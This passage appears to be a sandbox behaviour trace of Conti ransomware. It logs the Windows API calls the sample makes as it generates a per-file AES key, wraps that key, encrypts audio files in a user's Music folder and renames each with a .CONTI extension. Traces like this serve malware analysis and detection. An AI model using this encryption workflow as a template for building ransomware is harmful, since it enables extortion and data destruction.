	[0141.103] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0xcde0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0xcde0, lpOverlapped=0x0) returned 1
	[0141.103] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.104] WriteFile (in: hFile=0x434, lpBuffer=0x6b45c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b45c00*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.104] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.104] CloseHandle (hObject=0x434) returned 1
	[0141.104] GetProcessHeap () returned 0x1720000
	[0141.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.104] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3"
	[0141.104] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3.CONTI"
	[0141.104] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\7t6zx.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\7t6zx.mp3.conti")) returned 1
	[0141.104] GetProcessHeap () returned 0x1720000
	[0141.104] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.104] CryptDestroyKey (hKey=0x6b7eb38) returned 1
	[0141.104] GetProcessHeap () returned 0x1720000
	[0141.104] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbaf0 | out: hHeap=0x1720000) returned 1
	[0141.104] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.105] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x6b7ec78) returned 1
	[0141.105] CryptExportKey (in: hKey=0x6b7ec78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x34ffaac | out: pbData=0x6b4609c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.105] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\82cjxhrdz0.mp3")) returned 0x20
	[0141.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\82cjxhrdz0.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.106] GetLastError () returned 0x0
	[0141.106] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=57870) returned 1
	[0141.106] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe20e
	[0141.106] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.106] SetEndOfFile (hFile=0x434) returned 1
	[0141.106] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.106] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.106] WriteFile (in: hFile=0x434, lpBuffer=0x6b4609c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b4609c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.108] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.108] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0xe20e, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0xe20e, lpOverlapped=0x0) returned 1
	[0141.113] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xe20e, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xe210) returned 1
	[0141.114] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.114] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0xe210, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0xe210, lpOverlapped=0x0) returned 1
	[0141.114] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.114] WriteFile (in: hFile=0x434, lpBuffer=0x6b46090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b46090*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.114] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.114] CloseHandle (hObject=0x434) returned 1
	[0141.114] GetProcessHeap () returned 0x1720000
	[0141.114] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.114] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3"
	[0141.114] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3.CONTI"
	[0141.114] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\82cjxhrdz0.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\82cJXhRdz0.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\82cjxhrdz0.mp3.conti")) returned 1
	[0141.115] GetProcessHeap () returned 0x1720000
	[0141.115] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.115] CryptDestroyKey (hKey=0x6b7ec78) returned 1
	[0141.115] GetProcessHeap () returned 0x1720000
	[0141.115] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d76d0 | out: hHeap=0x1720000) returned 1
	[0141.115] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.115] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x6b7eaf8) returned 1
	[0141.115] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x34ffaac | out: pbData=0x6b479b4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.116] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\gydrqmpb9.wav")) returned 0x20
	[0141.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\gydrqmpb9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.116] GetLastError () returned 0x0
	[0141.116] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=94278) returned 1
	[0141.116] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17046
	[0141.116] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.116] SetEndOfFile (hFile=0x434) returned 1
	[0141.116] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.116] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.116] WriteFile (in: hFile=0x434, lpBuffer=0x6b479b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b479b4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.121] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.121] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x17046, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x17046, lpOverlapped=0x0) returned 1
	[0141.127] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x17046, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x17050) returned 1
	[0141.127] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.127] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x17050, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x17050, lpOverlapped=0x0) returned 1
	[0141.127] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.127] WriteFile (in: hFile=0x434, lpBuffer=0x6b479a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b479a8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.128] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.128] CloseHandle (hObject=0x434) returned 1
	[0141.128] GetProcessHeap () returned 0x1720000
	[0141.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.128] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav"
	[0141.128] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav.CONTI"
	[0141.128] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\gydrqmpb9.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\GYDrqMPB9.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\gydrqmpb9.wav.conti")) returned 1
	[0141.128] GetProcessHeap () returned 0x1720000
	[0141.128] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.128] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0141.128] GetProcessHeap () returned 0x1720000
	[0141.128] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aac0 | out: hHeap=0x1720000) returned 1
	[0141.128] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.128] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48bf0 | out: phKey=0x6b48bf0*=0x6b7e838) returned 1
	[0141.128] CryptExportKey (in: hKey=0x6b7e838, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48bf4, pdwDataLen=0x34ffaac | out: pbData=0x6b48bf4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.129] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\zn5slk-onxlycn.wav")) returned 0x20
	[0141.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\zn5slk-onxlycn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.130] GetLastError () returned 0x0
	[0141.130] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=73004) returned 1
	[0141.130] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11d2c
	[0141.130] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.130] SetEndOfFile (hFile=0x434) returned 1
	[0141.130] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.130] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.130] WriteFile (in: hFile=0x434, lpBuffer=0x6b48bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b48bf4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.132] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.133] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x11d2c, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x11d2c, lpOverlapped=0x0) returned 1
	[0141.139] CryptEncrypt (in: hKey=0x6b7e838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x11d2c, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x11d30) returned 1
	[0141.139] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.139] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x11d30, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x11d30, lpOverlapped=0x0) returned 1
	[0141.139] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.139] WriteFile (in: hFile=0x434, lpBuffer=0x6b48be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b48be8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.139] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.139] CloseHandle (hObject=0x434) returned 1
	[0141.139] GetProcessHeap () returned 0x1720000
	[0141.139] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.139] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav"
	[0141.139] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav.CONTI"
	[0141.139] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\zn5slk-onxlycn.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\ZN5Slk-oNxlycN.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\zn5slk-onxlycn.wav.conti")) returned 1
	[0141.140] GetProcessHeap () returned 0x1720000
	[0141.140] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.140] CryptDestroyKey (hKey=0x6b7e838) returned 1
	[0141.140] GetProcessHeap () returned 0x1720000
	[0141.140] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02598 | out: hHeap=0x1720000) returned 1
	[0141.140] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.140] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b49be8 | out: phKey=0x6b49be8*=0x6b7ecf8) returned 1
	[0141.140] CryptExportKey (in: hKey=0x6b7ecf8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49bec, pdwDataLen=0x34ffaac | out: pbData=0x6b49bec*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.141] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\h66gawmx8x_7pylvat8.wav")) returned 0x20
	[0141.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\h66gawmx8x_7pylvat8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.141] GetLastError () returned 0x0
	[0141.141] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=40574) returned 1
	[0141.141] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9e7e
	[0141.141] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.141] SetEndOfFile (hFile=0x434) returned 1
	[0141.142] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.142] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.142] WriteFile (in: hFile=0x434, lpBuffer=0x6b49bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b49bec*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.824] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.824] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x9e7e, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x9e7e, lpOverlapped=0x0) returned 1
	[0141.825] CryptEncrypt (in: hKey=0x6b7ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x9e7e, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x9e80) returned 1
	[0141.825] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.825] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x9e80, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x9e80, lpOverlapped=0x0) returned 1
	[0141.825] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.825] WriteFile (in: hFile=0x434, lpBuffer=0x6b49be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b49be0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.826] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.826] CloseHandle (hObject=0x434) returned 1
	[0141.826] GetProcessHeap () returned 0x1720000
	[0141.826] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0142.573] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav"
	[0142.573] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\H66GAwmX8x_7pYlvAt8.wav.CONTI"
